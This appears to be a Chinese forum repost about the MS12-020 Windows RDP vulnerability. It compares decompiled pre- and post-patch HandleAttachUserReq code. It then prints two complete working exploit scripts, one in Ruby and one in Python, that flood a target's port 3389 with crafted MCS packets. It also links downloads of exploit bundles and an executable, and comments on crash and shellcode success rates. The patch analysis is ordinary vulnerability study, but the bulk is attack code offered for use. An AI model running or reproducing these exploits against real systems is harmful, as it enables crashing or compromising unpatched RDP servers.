在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
白天搜到的,python版本测试成功。上一篇就是根据这篇。 转自Silic Group: http://bbs.blackbap.org/thread-2419-1-1.html
更新前的代码: char __thiscall HandleAttachUserReq(int this, int a2, int a3) { int v3; // esi@1 int v4; // eax@3 int v6; // [sp-8h] [bp-18h]@3 char v7; // [sp+4h] [bp-Ch]@3 int v8; // [sp+8h] [bp-8h]@3 int v9; // [sp+Ch] [bp-4h]@2 v3 = this; *(_DWORD *)a3 = 1; if ( *(_BYTE *)(this + 16) & 0x20 ) { while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) ) ; v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3); v6 = *(_DWORD *)(v9 + 16); if ( v4 ) { CreateAttachUserCon(14, 0, 0, v6); *(_DWORD *)(v9 + 20) = 9; } else { CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6); *(_DWORD *)(v9 + 20) = 11; *(_BYTE *)(v8 + 4) = 0; } if ( SendOutBuf(v3, v9) < 0 ) SListRemove(v3 + 112, v8, &v8); } return 1; } 更新后的代码:
char __thiscall HandleAttachUserReq(int this, int a2, int a3) { int v3; // esi@1 int v4; // eax@3 int v6; // [sp-8h] [bp-18h]@3 char v7; // [sp+4h] [bp-Ch]@3 int v8; // [sp+8h] [bp-8h]@3 int v9; // [sp+Ch] [bp-4h]@2 v3 = this; *(_DWORD *)a3 = 1; if ( *(_BYTE *)(this + 16) & 0x20 ) { while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) ) ; v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3); v6 = *(_DWORD *)(v9 + 16); if ( v4 ) { CreateAttachUserCon(14, 0, 0, v6); *(_DWORD *)(v9 + 20) = 9; } else { CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6); *(_DWORD *)(v9 + 20) = 11; *(_BYTE *)(v8 + 4) = 0; } if ( SendOutBuf(v3, v9) < 0 ) { SListRemove(v3 + 112, v8, &v8); //注意下面的if语句,这是更新后的代码 blackbap.org if ( p ) { if ( !*((_BYE *)P + 5) ) ExFreePoolWithTag(P, 0); } } } return 1; } 0002CB30 @HandleAttachUserReq@16 0002CBB8 push ss:[ebp+var_4] 0002CBBB push esi 0002CBBC call _SendOutBuf@8 0002CBC1 test eax, eax 0002CBC3 pop ebx 0002CBC4 jge loc_2CBD6 0002CBC6 lea eax, ss:[ebp+var_8] 0002CBC9 push eax 0002CBCA push ss:[ebp+var_8] 0002CBCD add esi, 0x70 0002CBD0 push esi 0002CBD1 call _SListRemove@12 0002CBD6 mov b1 a1, b1 1 0002CBD8 pop esi 0002CBD9 leave 0002CBDA retn b2 8 这是后面加过检查和释放函数的: 0002CB44 @HandleAttachUserReq@16 0002CBCC push ss:[ebp+var_4] 0002CBCF push esi 0002CBD0 call _SendOutBuf@8 0002CBD5 test eax, eax 0002CBD7 jge loc_2CBD6 0002CBD9 lea eax, ss:[ebp+var_P] 0002CBDC push eax 0002CBDD push ss:[ebp+var_P] 0002CBE0 add esi, 0x70 0002CBE3 push esi 0002CBE4 call _SListRemove@12 //SListRemove(x,x,x) 0002CBE9 mov eax, ss:[ebp+P] 0002CBEC cmp eax, ebx 0002CBEE jz loc_2CBFD 0002CBF0 cmp b1 ds:[eax+5],b1 b1 0002CBF3 jnz loc_2CBFD 0002CBF5 push ebx //Tag 0002CBF6 push ebx //P 0002CBF7 call ds:[__imp__ExFreePoolWithTag@8] //__imp__ExFreePoolWithTag@8,ExFreePoolWithTag(x,x) //CODE XREF: HandleAttachUserReq(x,x,x,x)+19j //HandleAttachUserReq(x,x,x,x)+94j ... 0002CBFD pop esi 0002CBFE mov b1 a1, b1 1 0002CC00 pop ebx 0002CC01 leave 0002CC02 retn b2 8 还有一个函数也是疑似检查用户数据的,疑似是边界的检查 0001978A call _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x) 0001978F test eax, eax 00019791 jz short loc_1973D 00019793 push 0 00019795 push esi 00019796 push [ebp+arg_4] 00019799 push [ebp+var_4] 0001979C push [ebp+var_8] 0001979F push [ebp+var_C] 000197A2 push [ebp+arg_0] 000197A5 call _WDWConnect@28 //WDWConnect(x,x,x,x,x,x,x) 上面这个函数我并没有做什么太大的分析,因为漏洞已经产生了,其实大家更想知道的,并不是这个漏洞如何产生的,而是这个漏洞怎么利用。 下面就贴出ruby语言的利用脚本:
1 #!/usr/bin/env ruby 2 # ms12-020 PoC 3 # NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写,并且修正了数据包不符合协议的问题 4 # Author: Joshua J. Drake(jduck) 5 # From: BlackBap.Org 6 # Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步 7 require 'socket' 8 def send_tpkt(sd, data) 9 sd.write(make_tpkt(data)) 10 end 11 def make_tpkt(data) 12 [ 13 3, # version 14 0, # reserved 15 4 + data.length 16 ].pack('CCn') + data 17 end 18 def make_x224(data) 19 [ data.length ].pack('C') + data 20 end 21 def make_rdp(type, flags, data) 22 [ type, flags, 4 + data.length ].pack('CCv') + data 23 end 24 host = ARGV.shift 25 sd = TCPSocket.new(host, 3389) 26 pkts1 = [] 27 # craft connection request 28 rdp = make_rdp(1, 0, [ 0 ].pack('V')) 29 x224_1 = make_x224([ 30 0xe0, # Connection request 31 0, # ?? 32 0, # SRC-REF 33 0 # Class : Class 0 34 ].pack('CnnC') + rdp) 35 pkts1 << make_tpkt(x224_1) 36 # craft connect-initial 37 x224_2 = make_x224([ 38 0xf0, # Data / Class 0 39 0x80 # EOT: True / NR: 0 40 ].pack('CC')) 41 # mcsCi 42 target_params = ""+ 43 #"\x02\x01\x00"+ # maxChannelIds 44 "\x02\x04\x00\x00\x00\x22"+ # maxChannelIds 45 "\x02\x04\x00\x00\x00\x0a"+ # maxUserIds 46 "\x02\x04\x00\x00\x00\x00"+ # maxTokenIds 47 "\x02\x04\x00\x00\x00\x01"+ # numPriorities 48 "\x02\x04\x00\x00\x00\x00"+ # minThroughput 49 "\x02\x04\x00\x00\x00\x01"+ # maxHeight 50 "\x02\x02\xff\xff"+ # maxMCSPDUSize 51 "\x02\x04\x00\x00\x00\x02" # protocolVersion 52 min_params = ""+ 53 "\x02\x04\x00\x00\x00\x01"+ # maxChannelIds 54 "\x02\x04\x00\x00\x00\x01"+ # maxUserIds 55 "\x02\x04\x00\x00\x00\x01"+ # maxTokenIds 56 "\x02\x04\x00\x00\x00\x01"+ # numPriorities 57 "\x02\x04\x00\x00\x00\x00"+ # minThroughput 58 "\x02\x04\x00\x00\x00\x01"+ # maxHeight 59 "\x02\x02\x04\x20"+ # maxMCSPDUSize 60 "\x02\x04\x00\x00\x00\x02" # protocolVersion 61 max_params = ""+ 62 "\x02\x02\xff\xff"+ # maxChannelIds 63 "\x02\x02\xfc\x17"+ # maxUserIds 64 "\x02\x02\xff\xff"+ # maxTokenIds 65 "\x02\x04\x00\x00\x00\x01"+ # numPriorities 66 "\x02\x04\x00\x00\x00\x00"+ # minThroughput 67 "\x02\x04\x00\x00\x00\x01"+ # maxHeight 68 "\x02\x02\xff\xff"+ # maxMCSPDUSize 69 "\x02\x04\x00\x00\x00\x02" # protocolVersion 70 userdata = ""+ 71 # gccCCrq 72 "\x00\x05\x00\x14"+ 73 "\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+ 74 # clientCoreData 75 "\x01\xc0"+"\xd8\x00"+ # header (type, len) 76 "\x04\x00"+"\x08\x00"+ # version 77 "\x80\x02"+ # desktop width 78 "\xe0\x01"+ # desktop height 79 "\x01\xca"+ # color depth 80 "\x03\xaa"+ # SASSequence 81 "\x09\x04\x00\x00" + # keyboard layout 82 "\xce\x0e\x00\x00" + # client build number 83 # client name 84 "\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ 85 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ 86 "\x04\x00\x00\x00"+ # keyboard type 87 "\x00\x00\x00\x00"+ # kbd subType 88 "\x0c\x00\x00\x00"+ # kbd FuncKey 89 # imeFileName 90 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ 91 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ 92 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ 93 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ 94 "\x01\xca"+ # postBeta2ColorDepth 95 "\x01\x00"+ # clientProductId 96 "\x00\x00\x00\x00" + # serialNumber 97 "\x10\x00"+ # highColorDepth 98 "\x07\x00"+ # supportedColorDepths 99 "\x01\x00"+ # earlyCapabilityFlags 100 # clientDigProductId -poc has: "00000-000-0000000-00000" 101 "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+ 102 "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+ 103 "\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+ 104 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+ 105 "\x00"+ # connectionType 106 "\x00"+ # pad1octet 107 "\x00\x00\x00\x00"+ # serverSelectedProtocol 108 "\x04\xc0\x0c\x00"+ # desktopPhysicalWidth 109 "\x0d\x00\x00\x00"+ # desktopPhysicalHeight 110 "\x00\x00\x00\x00"+ # reserved 111 # clientSecurityData 112 "\x02\xc0"+"\x0c\x00"+ # header (type, len) 113 "\x1b\x00\x00\x00"+ # encryptionMethods 114 "\x00\x00\x00\x00"+ # extEncryptionMethods 115 # clientNetworkData 116 "\x03\xc0"+"\x2c\x00"+ # header (type, len) 117 "\x03\x00\x00\x00"+ # channel count! 118 # channel 0 119 "rdpdr\x00\x00\x00"+ # name 120 "\x00\x00\x80\x80"+ # options 121 # channel 1 122 "cliprdr\x00"+ # name 123 "\x00\x00\xa0\xc0"+ # options 124 # channel 2 125 "rdpsnd\x00\x00"+ # name 126 "\x00\x00\x00\xc0" # options 127 # clientClusterData (not present) 128 # clientMonitorData (not present) 129 mcs_data = ""+ 130 "\x04\x01\x01"+ # callingDomainSelector 131 "\x04\x01\x01"+ # calledDomainSelector 132 "\x01\x01\xff"+ # upwardFlag 133 #"\x30" + [ target_params.length ].pack('C') + target_params + 134 #"\x30" + [ min_params.length ].pack('C') + min_params + 135 #"\x30" + [ max_params.length ].pack('C') + max_params + 136 "\x30" + [ 0x19 ].pack('C') + target_params + 137 "\x30" + [ 0x19 ].pack('C') + min_params + 138 "\x30" + [ 0x1c ].pack('C') + max_params + 139 # userData 140 "\x04\x82" + [ userdata.length ].pack('n') + userdata 141 #mcs = "\x7f\x65\x82" + [ mcs_data.length ].pack('n') # connect-initial (0x65 / 101), length 142 mcs = "\x7f\x65\x82" + [ 0x194 ].pack('n') # connect-initial (0x65 / 101), length 143 mcs << mcs_data 144 pkts1 << make_tpkt(x224_2 + mcs) 145 # send a special one? 146 pkts1 << make_tpkt(x224_2 + "\x04\x01\x00\x01\x00") 147 # send more pkts! - based on poc 148 10.times { 149 pkts1 << make_tpkt(x224_2 + "\x28") 150 } 151 pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xea") 152 pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xeb") 153 pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xec") 154 pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xed") 155 pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xee") 156 pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf0") 157 pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf1") 158 pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf2") 159 pkts1 << make_tpkt(x224_2 + "\x38\x00\x06\x03\xf3") 160 pkts1 << make_tpkt(x224_2 + "\x21\x80") 161 bigpkt = pkts1.join('') 162 loop { 163 sd.write(bigpkt) 164 send_tpkt(sd, x224_2 + "\x2e\x00\x00\x01") 165 send_tpkt(sd, x224_2 + "\x2e\x00\x00\x02") 166 send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03") 167 send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04") 168 # read connect-initial response 169 buf = sd.recv(1500) 170 # XXX: TODO: check response =) 171 #puts buf 172 } 173 sd.close 174 # BlackBap.Org 既然ruby的数据包上已经声明了,这个脚本是基于“Chinese Shit”的脚本所写,并且修正了“Chinese Shit”上面的不完全符合协议的数据包
那么我们再来看一下“Chinese Shit”的PoC又是什么样子的,Python语言: #ms12-020 "chinese shit" PoC v2 (wireshark版) # 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用 # Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步 # 附件中添加time.sleep修正bug版本的py脚本 # BlackBap.Org import socket import sys buf="" buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19 buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224 buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470 buf+="\x02\xf0\x80" # ITU-T Rec X.224 buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125 buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet buf+="\x30\x19\x02\x04\x00\x00\x00\x00" buf+="\x02\x04\x00\x00\x00\x02\x02\x04" buf+="\x00\x00\x00\x00\x02\x04\x00\x00" buf+="\x00\x01\x02\x04\x00\x00\x00\x00" buf+="\x02\x04\x00\x00\x00\x01\x02\x02" buf+="\xff\xff\x02\x04\x00\x00\x00\x02" buf+="\x30\x19\x02\x04\x00\x00\x00\x01" buf+="\x02\x04\x00\x00\x00\x01\x02\x04" buf+="\x00\x00\x00\x01\x02\x04\x00\x00" buf+="\x00\x01\x02\x04\x00\x00\x00\x00" buf+="\x02\x04\x00\x00\x00\x01\x02\x02" buf+="\x04\x20\x02\x04\x00\x00\x00\x02" buf+="\x30\x1c\x02\x02\xff\xff\x02\x02" buf+="\xfc\x17\x02\x02\xff\xff\x02\x04" buf+="\x00\x00\x00\x01\x02\x04\x00\x00" buf+="\x00\x00\x02\x04\x00\x00\x00\x01" buf+="\x02\x02\xff\xff\x02\x04\x00\x00" buf+="\x00\x02\x04\x82\x01\x33\x00\x05" buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00" buf+="\x08\x00\x10\x00\x01\xc0\x00\x44" buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8" buf+="\x00\x04\x00\x08\x00\x80\x02\xe0" buf+="\x01\x01\xca\x03\xaa\x09\x04\x00" buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f" buf+="\x00\x53\x00\x54\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x04\x00\x00" buf+="\x00\x00\x00\x00\x00\x0c\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x01\xca\x01\x00\x00\x00\x00" buf+="\x00\x10\x00\x07\x00\x01\x00\x30" buf+="\x00\x30\x00\x30\x00\x30\x00\x30" buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" buf+="\x00\x30\x00\x30\x00\x30\x00\x30" buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" buf+="\x00\x30\x00\x30\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x00\x00\x00" buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c" buf+="\x00\x0d\x00\x00\x00\x00\x00\x00" buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00" buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c" buf+="\x00\x03\x00\x00\x00\x72\x64\x70" buf+="\x64\x72\x00\x00\x00\x00\x00\x80" buf+="\x80\x63\x6c\x69\x70\x72\x64\x72" buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70" buf+="\x73\x6e\x64\x00\x00\x00\x00\x00" buf+="\xc0" buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 buf+="\x02\xf0\x80" # ITU-T Rec X.224 buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125 buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8 buf+="\x02\xf0\x80" # ITU-T Rec X.224 buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125 buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 buf+="\x02\xf0\x80" # ITU-T Rec X.224 buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125 buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 buf+="\x02\xf0\x80" #ITU-T Rec X.224 buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125 buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 buf+="\x02\xf0\x80" #ITU-T Rec X.224 buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125 buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 buf+="\x02\xf0\x80" #ITU-T Rec X.224 buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125 buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 buf+="\x02\xf0\x80" #ITU-T Rec X.224 buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125 buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12 buf+="\x06\xd0\x00\x00\x12\x34\x00" #ITU-T Rec X.224 HOST = sys.argv[1] PORT = 3389 for i in range(1000): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST,PORT)) print "sending: %d bytes" % len(buf) s.send(buf) rec = s.recv(100) print "received: %d bytes" % len(rec) s.close() # BlackBap.Org
如果你比较懒,可以直接下载以上PoC的压缩包,如果你比较勤快,可以点击以上代码的“复制代码”,并保存于记事本并重命名为xx.rb和xx.py并自己修正bug http://115.com/file/e7s87ipd# MS12-020利用工具-含bug修正版.rar 附件说明: * * MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC * * Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版 * 西班牙语XP SP3和Win7/R2都成功 * * Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本 * 添加了time.sleep * * rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具 * Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的的娱乐版PoC * * * Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步 * BlackBap.Org *---------------------------------- 以下为非转载内容: py的脚本请有条件的童鞋去linux测试下; ruby的脚本在win下测试成功率(包括蓝屏)很高, 据三石解释, 如果蓝屏了, 那么是内存覆盖的区域错误, 如果不蓝屏直接重启了, 则表示shellcode执行成功; 最后, 附上一个根据ruby改写的exe程序, 效果应该是和ruby一致, 只不过不需要ruby的环境了, 欢迎大家测试:
http://115.com/file/e7s87ipd#
http://115.com/file/bewceec6# |
2023-10-27
2022-08-15
2022-08-17
2022-09-23
2022-08-13
请发表评论